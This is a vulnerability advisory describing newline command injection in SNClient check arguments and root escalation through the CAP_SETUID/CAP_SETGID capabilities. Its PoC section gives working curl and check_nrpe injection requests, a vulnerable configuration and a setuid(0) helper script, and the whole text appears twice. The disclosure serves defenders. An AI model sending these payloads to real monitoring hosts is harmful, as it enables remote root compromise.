Summary
SNClient check arguments can allow remote command execution on Unix-like systems. When SNClient is configured to accept remote arguments, an attacker with access to the SNClient WEB or NRPE check endpoint can inject a newline into an argument and cause an additional shell command to be executed. This was first identified in external script argument expansion, but the same class of issue also affects built-in check commands. On packaged Linux/systemd installations, the impact can escalate to remote root code execution because SNClient is started with CAP_SETUID and CAP_SETGID. The same capability configuration can also turn otherwise local script execution primitives into local root privilege escalation.
Details
SNClient supports NRPE-style external script command definitions using argument macros such as $ARG1$, $ARG2$, $ARGS$, and %ARGS%. These macros are replaced with user-supplied check arguments before the command is executed. On Unix-like systems, the resulting external script command string is executed through /bin/sh -c.
SNClient attempts to prevent shell injection when allow nasty characters = false by rejecting a list of shell metacharacters such as |, `, &, <, >, quotes, backslash, brackets, braces, and semicolon. However, newline characters were not rejected in affected configurations. Since /bin/sh treats a newline as a command separator, an attacker can inject a newline followed by another command. This makes it possible to execute arbitrary commands even though allow nasty characters = false is configured.
Further testing showed that the affected surface is not limited to external scripts. Built-in Linux checks are also affected when remote arguments are allowed. The check_service command uses the user-controlled service= argument to build a shell command for systemctl. The check_omd command uses the user-controlled site= argument in a root-capable command path. Unlike external scripts, check_omd does not require a custom external script definition; it is reachable as a built-in check when remote arguments are allowed.
On packaged Linux/systemd installations, SNClient is started as an unprivileged service user but with CAP_SETUID and CAP_SETGID. These capabilities allow SNClient, and child processes spawned by SNClient, to switch to UID/GID 0. This affects both remote command injection paths and local execution paths where an attacker can influence an external script or binary executed by SNClient. A local reproduction using the same security-relevant systemd capability settings confirmed that a helper process executed by SNClient can successfully call setgid(0) and setuid(0), resulting in root code execution.
The issue is conceptually similar to the historical NRPE argument injection vulnerability (CVE-2014-2913), but the affected SNClient surface also includes built-in check argument handling and the Linux capability configuration increases the impact.
PoC
Use a Unix-like SNClient host with WEBServer and external scripts enabled. Example configuration:
[/modules]
WEBServer = enabled
CheckExternalScripts = enabled
[/settings/default]
password = test-password
[/settings/WEB/server]
use ssl = false
port = 18443
allowed hosts = 127.0.0.1
allow arguments = true
allow nasty characters = false
[/settings/external scripts/scripts/check_inject]
command = echo $ARGS$
allow arguments = true
allow nasty characters = false
Start SNClient with this configuration:
snclient -c /tmp/snclient-rce.ini server
Send a request containing a URL-encoded newline (%0A) followed by a command:
curl -s -u 'user:test-password' 'http://127.0.0.1:18443/query/check_inject?ok%0Aid'
The configured command is expanded and executed by the shell similarly to:
The response contains the output of the injected id command, demonstrating command execution as the SNClient process user.
The same newline injection primitive is also reachable through the built-in Linux check_service command when remote arguments are allowed (requires the corresponding system check modules, such as CheckSystem and CheckSystemUnix, to be enabled):
curl -s -u 'user:test-password' \
'http://127.0.0.1:18443/api/v1/queries/check_service/commands/execute?service=notfound%0Atouch%20/tmp/snclient-rce%0A%23'
The decoded argument is:
service=notfound
touch /tmp/snclient-rce
#
The built-in Linux check_omd command provides a direct root-capable sink on packaged Linux/systemd installations. No external script definition is required; only remote arguments must be allowed:
curl -s -u 'user:test-password' \
'http://127.0.0.1:18443/query/check_omd?site=demo%20show%20AUTOSTART%0Aid%0A%23'
The injected command is executed through the site= argument before the command remainder is commented out:
site=demo show AUTOSTART
id
#
On systems where SNClient has the packaged CAP_SETUID and CAP_SETGID configuration, commands reached through this sink execute in the root-capable command path.
The same capability behavior can be demonstrated locally with a minimal helper executed by SNClient:
#!/usr/bin/python3
import os
import subprocess
import sys
try:
os.setgid(0)
print("setgid0=ok")
except OSError as exc:
print(f"setgid0=failed: {exc}", file=sys.stderr)
sys.exit(1)
try:
os.setuid(0)
print("setuid0=ok")
except OSError as exc:
print(f"setuid0=failed: {exc}", file=sys.stderr)
sys.exit(1)
print(f"ruid={os.getuid()} euid={os.geteuid()} rgid={os.getgid()} egid={os.getegid()}")
subprocess.run(["id"], check=False)
In a local reproduction with the same relevant capability settings as the packaged service, executing this helper from SNClient produced:
uid=0(root) gid=0(root) groups=0(root)
setgid0=ok
setuid0=ok
ruid=0 euid=0 rgid=0 egid=0
The same payloads can be sent through NRPE when the attacker can connect from an allowed host and provide arguments:
check_nrpe -H 127.0.0.1 -n -c check_omd -a $'site=demo show AUTOSTART\nid\n#'
Impact
This is an OS command injection vulnerability. An attacker who can invoke a vulnerable check can execute arbitrary commands in the SNClient service context. On packaged Linux/systemd installations, this may escalate to root code execution because SNClient is granted CAP_SETUID and CAP_SETGID.
The Linux capability configuration also creates a local privilege escalation risk when a local attacker can modify, replace, or otherwise influence a script or binary executed by SNClient. In that case, the attacker-controlled child process may inherit the relevant capabilities and switch to UID/GID 0 without requiring a setuid binary.
Deployments are affected when remote arguments are allowed and the WEB or NRPE listener is reachable by the attacker. External script checks are affected when user-controlled argument macros are used in external script commands. Built-in checks can also be affected; Linux check_service and check_omd have been confirmed vulnerable.
Default hardening such as strong passwords, TLS, and restrictive allowed hosts settings reduces exposure but does not remove the vulnerability in affected configurations.
Summary
SNClient check arguments can allow remote command execution on Unix-like systems. When SNClient is configured to accept remote arguments, an attacker with access to the SNClient WEB or NRPE check endpoint can inject a newline into an argument and cause an additional shell command to be executed. This was first identified in external script argument expansion, but the same class of issue also affects built-in check commands. On packaged Linux/systemd installations, the impact can escalate to remote root code execution because SNClient is started with
CAP_SETUIDandCAP_SETGID. The same capability configuration can also turn otherwise local script execution primitives into local root privilege escalation.Details
SNClient supports NRPE-style external script command definitions using argument macros such as
$ARG1$,$ARG2$,$ARGS$, and%ARGS%. These macros are replaced with user-supplied check arguments before the command is executed. On Unix-like systems, the resulting external script command string is executed through/bin/sh -c.SNClient attempts to prevent shell injection when
allow nasty characters = falseby rejecting a list of shell metacharacters such as|,`,&,<,>, quotes, backslash, brackets, braces, and semicolon. However, newline characters were not rejected in affected configurations. Since/bin/shtreats a newline as a command separator, an attacker can inject a newline followed by another command. This makes it possible to execute arbitrary commands even thoughallow nasty characters = falseis configured.Further testing showed that the affected surface is not limited to external scripts. Built-in Linux checks are also affected when remote arguments are allowed. The
check_servicecommand uses the user-controlledservice=argument to build a shell command forsystemctl. Thecheck_omdcommand uses the user-controlledsite=argument in a root-capable command path. Unlike external scripts,check_omddoes not require a custom external script definition; it is reachable as a built-in check when remote arguments are allowed.On packaged Linux/systemd installations, SNClient is started as an unprivileged service user but with
CAP_SETUIDandCAP_SETGID. These capabilities allow SNClient, and child processes spawned by SNClient, to switch to UID/GID 0. This affects both remote command injection paths and local execution paths where an attacker can influence an external script or binary executed by SNClient. A local reproduction using the same security-relevant systemd capability settings confirmed that a helper process executed by SNClient can successfully callsetgid(0)andsetuid(0), resulting in root code execution.The issue is conceptually similar to the historical NRPE argument injection vulnerability (CVE-2014-2913), but the affected SNClient surface also includes built-in check argument handling and the Linux capability configuration increases the impact.
PoC
Use a Unix-like SNClient host with WEBServer and external scripts enabled. Example configuration:
Start SNClient with this configuration:
Send a request containing a URL-encoded newline (
%0A) followed by a command:The configured command is expanded and executed by the shell similarly to:
echo ok idThe response contains the output of the injected
idcommand, demonstrating command execution as the SNClient process user.The same newline injection primitive is also reachable through the built-in Linux
check_servicecommand when remote arguments are allowed (requires the corresponding system check modules, such asCheckSystemandCheckSystemUnix, to be enabled):The decoded argument is:
The built-in Linux
check_omdcommand provides a direct root-capable sink on packaged Linux/systemd installations. No external script definition is required; only remote arguments must be allowed:The injected command is executed through the
site=argument before the command remainder is commented out:On systems where SNClient has the packaged
CAP_SETUIDandCAP_SETGIDconfiguration, commands reached through this sink execute in the root-capable command path.The same capability behavior can be demonstrated locally with a minimal helper executed by SNClient:
In a local reproduction with the same relevant capability settings as the packaged service, executing this helper from SNClient produced:
The same payloads can be sent through NRPE when the attacker can connect from an allowed host and provide arguments:
check_nrpe -H 127.0.0.1 -n -c check_omd -a $'site=demo show AUTOSTART\nid\n#'Impact
This is an OS command injection vulnerability. An attacker who can invoke a vulnerable check can execute arbitrary commands in the SNClient service context. On packaged Linux/systemd installations, this may escalate to root code execution because SNClient is granted
CAP_SETUIDandCAP_SETGID.The Linux capability configuration also creates a local privilege escalation risk when a local attacker can modify, replace, or otherwise influence a script or binary executed by SNClient. In that case, the attacker-controlled child process may inherit the relevant capabilities and switch to UID/GID 0 without requiring a setuid binary.
Deployments are affected when remote arguments are allowed and the WEB or NRPE listener is reachable by the attacker. External script checks are affected when user-controlled argument macros are used in external script commands. Built-in checks can also be affected; Linux
check_serviceandcheck_omdhave been confirmed vulnerable.Default hardening such as strong passwords, TLS, and restrictive
allowed hostssettings reduces exposure but does not remove the vulnerability in affected configurations.